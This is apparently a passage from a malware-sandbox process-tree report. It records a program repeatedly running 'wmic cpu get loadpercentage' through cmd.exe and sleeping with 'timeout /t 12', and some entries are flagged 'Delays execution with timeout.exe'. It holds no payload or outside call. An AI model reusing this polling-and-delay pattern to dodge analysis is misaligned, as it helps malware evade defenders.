C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:8
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2572
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:744
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4748
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4688
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5020
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3596
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:672
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1480
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2152
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4948
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4552
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4628
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3808
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1264
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5004
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4340
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4828
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:552
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5072
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4808
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1992
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3748
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2352
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:388
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4328
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3336
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:524
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3140
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3608
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3952
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1808
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2724
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2712
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4024
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3744
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:544
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:624
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:264
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4748
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4876
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5044
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:672
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1112
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2516
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1680
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:228
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3260
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4500
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2068
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3504
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2248
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2816
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2692
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3232
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1660
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1676
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4808
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3664
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3292
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4544
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2584
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1720
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3048
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4016
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5112
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4388
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:220
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2596
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1096
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2400
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2744
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1976
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1292
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3744
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:264
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2936
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:408
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3644
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3152
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1480
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1592
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4572
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4636
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1624
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4628
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3020
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2176
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3404
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2096
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:552
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3340
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1580
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1660
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2704
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2268
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1872
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3028
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4332
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4872
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4264
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:388
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2780
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4012
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2916
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4456
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4944
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2032
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4464
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2456
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2612
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4716
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:336
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4444
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2308
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1976
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1852
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1552
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4584
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1072
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3280
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3644
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5020
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4416
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3244
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1988
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1624
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2324
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:888
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1712
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4628
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3020
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2764
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5004
-
-
